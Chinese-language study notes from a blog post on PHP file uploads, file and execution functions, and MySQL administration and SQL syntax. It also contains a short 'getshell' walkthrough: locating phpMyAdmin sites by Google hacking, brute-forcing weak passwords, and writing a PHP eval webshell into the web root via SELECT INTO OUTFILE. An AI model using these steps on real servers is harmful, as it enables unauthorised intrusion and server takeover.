2019.10.9php进阶

<?php  

header("Content-type:text/html;charset:utf-8");

if ($_FILES["file"]["error"]>0) {

echo $_FILES["file"]["error"]."<br>";

} else {

echo "文件名:".$_FILES["file"]["name"]."<br>";

echo "类型:".$_FILES["file"]["type"]."<br>";

echo "大小:".$_FILES["file"]["size"]."<br>";

echo "临时位置:".$_FILES["file"]["tmp_name"]."<br>";}

echo "文件后缀名:".@end(explode(".",$_FILES["file"]["name"]));

?>

 

explode(标识,字符串),按照标识将字符串分割为数组

explode(".","test.te.png") == array("test","te","png");

end(数组)取出数组中最后一个值.

上传文件完整代码

html:

<!DOCTYPE html>

<html>

<head>

<title></title>

<meta charset="utf-8">

</head>

<body>

<form action="ups.php" method="post" enctype="multipart/form-data">

<label for="file">文件名:</label>

<input type="file" name="file" id="file">

<input type="submit" value="提交">

</form>

</body>

</html>

php:

<?php  

header("Content-type:text/html;charset:utf-8");

if ($_FILES["file"]["error"]>0) {

echo $_FILES["file"]["error"]."<br>";

} else {

//白名单:只允许上传图片

$array=array("png","gif","jpeg","jpg","bmp");

/* echo "文件名:".$_FILES["file"]["name"]."<br>";

echo "类型:".$_FILES["file"]["type"]."<br>";

echo "大小:".$_FILES["file"]["size"]."<br>";

echo "临时位置:".$_FILES["file"]["tmp_name"]."<br>";*/

$fileEndName=@end(explode(".",$_FILES["file"]["name"]));

if (in_array($fileEndName, $array)) {

if (!file_exists("uploads/".$_FILES["file"]["name"])) {

move_uploaded_file($_FILES["file"]["tmp_name"],"uploads/".$_FILES["file"]["name"]);

echo "文件上传成功,位置为:"."uploads/".$_FILES["file"]["name"];

}else{

echo "有同名文件!!无法提交!!!";

}

} else {

echo "文件格式不支持!!";

}

}

?>

文件管理:文件的打开,关闭,读取,写入.

文件的打开:fopen(打开文件的位置包含路径和文件名,打开文件的方式);

r 以只读的方式打开

r+ 读和写

w 只写,如果文件不存在则创建

w+ 读和写,如果文件不存在则创建

a 文件末尾追加,如果不存在则创建

a+ 读和追加,如果不存在则创建

fclose(句柄~打开的文件对应的句柄)关闭

feof()检测是否达到了文件的末尾,如果没有达到文件的末尾,则返回值是false

fread(打开的文件,读取大小)

fgets()读取单行数据内容:while (!feof($file)){echo fgets($file);}

fgetc()读取单个字符数据内容:while (!feof($file)){echo fgetc($file);}

file()将整个文档中数据读取到数组中:print_r(file("123.php"));

file_get_contents()将整个文档中数据读取到字符串中echo file_get_contents("123.php");

file_put_contents(文件名,写内容)将内容写到文件中:file_put_contents("123.php","123");如果文件名不存在则创建该文件,*是覆盖写,原内容会消失!!!

basename()获取文件名 //我都知道文件名了还取个屁??

dirname() 获取文件路径名

copy(源文件,目标文件)

unlink() unset() 删除文件

命令执行函数,通过php中某些函数去执行系统命令,和系统去交互

常用的命令执行函数:

system();

exec();

shell_exec();

echo 'whoami';

passthru()

等等

代码执行函数,使用php的某些函数去执行字符串类型的php代码,注意:php代码要求按照标准格式写的,常用的函数有:

eval();

assert();

preg_replace(正则表达式,替换掉字符,被替换的字符);注意:如果执行代码功能,需要使用使用/e模式,替换的字符中的代码就会被执行

等等

数据库管理

MYSQL 开源,轻量级数据库,适用于中小型企业,性能好

MSSQL 微软,需要安装在nt系统,不支持跨平台,适用于中大型企业

ACCESS 小巧方便 小型企业 小型项目

ORACLE 甲骨文,收费,适用于大型企业,跨平台,需要良好的底层硬件支持

常用框架组合

mysql+php

mssql+asp,aspx

oracle+java

access+asp

jsp+oracle

数据库模型

关系型数据库(结构化数据库) mysql mssql oracle db2

非关系型数据库(非结构数据库)redis mongodb nosql postgresq Hbase等等

管理mysql数据库的方式:

DOS-mysql:需要配置mysql的环境变量 mysql -u root -p root

phpmyadmin 基于网页的数据库管理平台

mysql-front 开源的 C/S模式的数据库管理平台

Navicat 收费的,功能强大的数据库管理平台

mysql数据库结构:数据库名->数据库表->表头(字段名)->数据内容

表中有几个字段就会有几行数据

一行数据叫记录

管理mysql数据库的常用命令:

mysql -u root -p

show databases;

information_schema 他是5.0以后的mysql数据库自带的,汇总数据信息

mysql 存放当前数据库信息,如登录账户信息

use mysql; 使用mysql,进入选中的数据库

show tables; 查看当前数据库中所有的表

select * from user ;查看user 表下所有的数据内容

select version(); 查看当前运行的数据库版本

修改密码

知道原密码去修改:

step 1:需要进入到数据库中, mysql -uroot -p

step 2: 低版本(5.0)以下

update mysql.user set password = password("新密码") where user = 'root'( root账户的密码)

高版本(5.1)以上

update mysql.user set authentication_string = password("新密码") where user = 'root'

alter user "root"@"localhost" identified by "新密码";

step 3:flush privileges; 刷新数据库

mysql系统之外修改密码

mysqladmin -u root -p password "新密码";

忘记原密码去修改(linux):

step1:关闭mysql服务,修改配置文件my.ini/my.cnf

step2:打开mysql配置文件,找到[mysqld] 加上:skip-grant-tables(跳过密码验证)

step3:重启mysql服务,此时登录无需密码,再用上面方法改密码

mysql 数据库中添加账户并授权

添加账户

create user "用户名"@"主机IP" identified by "密码";

主机IP:允许那个主机用户可以登录,(localhost 本机可登录 %任意用户可登录

192.168.1.1 IP上用户可登录)

添加权限

grant 权限 on 库名.表名 to "用户名"@"主机IP"

权限:insert drop update select all

库名.表名:表示能够操作的数据和表 *.*表示所有数据库以及所有的表

grant all on *.* to "123"@"192.168.1.1."

注意:配置中bind 127.0.0.1 需要注释掉或者根据需求进行更改

数据库外连:(允许远程连接)

update user set host ="%" where user ="host" and host= "localhost";

flush privileges;

注意:配置中bind 127.0.0.1 需要注释掉

MYSQL 常用的函数

version();

user();

select @@version;

select @@hostname;

select @@tmpdir;临时目录

select @@basedir;数据库服务所在的位置

select @@datadir;数据存放的位置;

数据文件格式:opt:编码;MYD存储数据;frm:存储表结构;MYI存储当前数据库的配置 信息和索引信息;

mid(被截取的字符串,开始索引,截取的长度);截取字符串

ord();显示字符的ascii,首字母的

concat();拼接字符串 concat("1","2","3");=>"123";

concat_ws(分隔符,多个参数);以分隔符分割拼接

group_concat();分组并拼接

sleep(1);让数据库等待1秒钟

sql语法:

创建数据库:

create database te;

mysqladmin -uroot -proot create pentest DOS命令中,需要使用mysqladmin.exe

删除数据库:

drop database te;

mysqladmin -uroot -proot drop pentest

数据库中的数据类型:

int:整型

bigint:大整型

float:浮点型

date:日期

time:时间

char:单个字符

varchar:变长字符,自设上限长度

text:文本

timestamp:时间戳

double:双精度浮点型

bit:比特

tinyint:0/1 bool

创建表:use 数据库;

create table 表明(字段名1 数据类型 primary key auto_increment,字段2 数据类型,字段3 数据类型)default charset=utf8;

auto_increment :自增,看情况使用

primary key: 表中需要一个主键(唯一,非空) ,通过该主键确定唯一的一条记录

not null :不为空

default charset=utf8:设置编码方式

删除表:drop table 表名;

查看表中字段:show create table 表名;desc 表名

后续添加主键:alter table 表名 add primary key(字段名);

插入数据:insert into 表名(字段名1,字段名2,字段名3) value(1,2,3);

查询数据:select 字段 from 表名;

 select 字段 from 表名 where 字段名=;

 select 字段 from 表名 where 字段1=1 and/or 字段2 =2;

限制查询:limit a,b ;(a b均为数字,a表示记录的索引,b表示记录的长度)

 limit a ;(0开始选择a个记录)

更新数据:update 表名 set 字段1=1,字段2=2 where 字段3=3;

删除表中数据:delete from 表名;

like 子句:通配符:%任意字符 _单个字符

 select * from stu where name like "%t%"

union 联合查询

语法:查询语句1 union 查询语句2 将他们查询出来的结果放在一张表中显示

他们查询出来的字段个数必须一致

可以根据语句2的字段数量判断查询语句1的字段数量

order by 的使用

order by 条件: 根据给定的条件排序,默认条件下是升序

select * from order by 字段名 [asc/desc] 根据制定的字段名去排序,asc升序,desc降序

select * from order by 数字 表示对第n列数据进行排序,如果数字超过表格列数,则报错

删除字段:alter table 表名 drop 字段名;

添加字段:alter table 表名 add 字段名 字段类型;

去重查询:select distinct name from te;

数据的导入导出:

导入数据

方法1:mysql -uroot -proot <需要导入的数据库文件(data.sql)注意:data.sql需要自动创建数据库,并且需 要选择该数据库,如果data.sql不会创建数据库,手动创建数据库

手动导入mysql -uroot -proot

create database 数据库

use 数据库
source 数据库文件

方法2:使用phpmyadmin等平台导入数据,如果导入的文件还是不能自己创建数据库,则需要手动创建

方法3:mysqlimport -uroot -proot --local 数据库名 数据库文件;首先创建数据库,创建表teacher,该表的 字段名要和导入的数据的字段保持一致 --local表示本地任意位置均可导入数据

导出数据

方法1:借助平台;

方法2:mysqldump -uroot -proot 数据库名 > 导出文件名

  mysqldump -uroot -proot 数据库名 表名 > ./table.sql

方法3:select 字段 from 表名 into outfile "文件";将数据库中的字段内容导入到文件中

首次从数据库中导出文件,数据库会运行--secure-file-priv 安全机制,会限制导出文件

查看该安全项的值:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'

secure_file_priv value null,限制导入导出

secure_file_priv 没有值 表示mysql不限制导入导出

secure_file_priv = /tmp 表示mysql只能在/tmp目录下执行导入导出,其他目录是不允许的

修改该安全机制:

临时方法:set global secure_file_priv=' ';

注意:Variable 'secure_file_priv' is a read only variable 表示不能通过sql语句修改

长久方法:修改配置文件 在配置文件my.ini中找到[mysqld]后面添加secure_file_priv=' ';

通过phpmyadmin 获取服务器权限(getshell)

step1:通过google hacking phpmyadmin网站

step2:爆破或者弱口令登录,查询:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'

step3:如果安全选项没有限制或者限制不严格,可以往站点根目录写木马

select "<?php @eval($_POST[_]);?>" into outfile "D:\phpstudy_pro\www\evil.php";

select "<?php @eval($_POST[_]);?>" into outfile "/var/www/html/shll/php"; //linux下的写法

step3*:此时可以看到本地www/文件目录下有evil.php,登录此网站,_=phpinfo();post data形式发出,返回了下图页面,其中POST[]中填的是_,所以此处重新定义_;

step4:通过webshell 管理工具(中国菜刀,冰蝎,蚁剑等)去控制服务器

PHP+MYSQL

PHP 操作mysql 数据库

(1) 使用mysqli扩展(推荐),只针对mysql数据库

面向对象的方式

直接方法(面向过程);

(2)使用mysql扩展(php<=5.5)

(3)使用pdo ,支持12种数据库

三种数据库的连接释放.php(分别取消注释使用)

<?php

header("Content-type:text/html;charset:utf-8");

$ser="127.0.0.1";

$name="root";

$pwd="roo";

/*m面向对象*/

/*

$conn=new mysqli($ser,$name,$pwd);

if($conn->connect_error){

die("连接失败:".$conn->connect_error);

}

echo "数据库连接成功!";

$conn->close();

*/

/*面向过程*/

/*

$conn=mysqli_connect($ser,$name,$pwd);

if($conn){ //mysqli连接成功返回true,没有连接成功返回false;

echo mysqli_connect_error();

}

echo "连接成功";

var_dump($conn);

mysqli_close($conn);

*/

/*pdo*/

/*

try{

$conn=new pdo("mysql:host=$ser;",$name,$pwd);

echo "成功!";

}

catch(PDOException $ee){

echo $ee-> getMessage();

}

$conn=null;

*/

mysql.conf

<?php

$ip="127.0.0.1";

$name="root";

$pwd="root";

$db="teachers";

2.php

<?php

include 'mysql.conf';

$conn=mysqli_connect($ip,$name,$pwd,$db);

//$conn=mysqli_connect($ip,$name,$pwd);//创建数据库前用这个

$sql1="create database teachers";//创建数据库

$sql2="create table info (

id int(10) unsigned auto_increment PRIMARY KEY,

name varchar(20) not null,

address varchar(100) not null,

date timestamp

)";//创建表info

$sql3="insert into info(id,name,address) values (1,'icq','beijing')";//插入数据

$sql4="insert into info(name,address) values ('iii','shanghai')";//插入数据

$sql5="select * from info";

//var_dump(mysqli_query($conn,$sql5));//查看这个的类型

$result=mysqli_query($conn,$sql5);

if($result){

echo "成功!";

$numbers=mysqli_num_rows($result);//查询的记录数

//$rows=mysqli_fetch_assoc($result);

//将执行的结果转换成数组

while($rows=mysqli_fetch_assoc($result)){

print_r($rows);

}//循环打印查询记录

}

else{

echo mysqli_error($conn);//打印错误信息

}

mysqli_close($conn);

原文地址:https://www.cnblogs.com/shuihanhhhh/p/11769176.html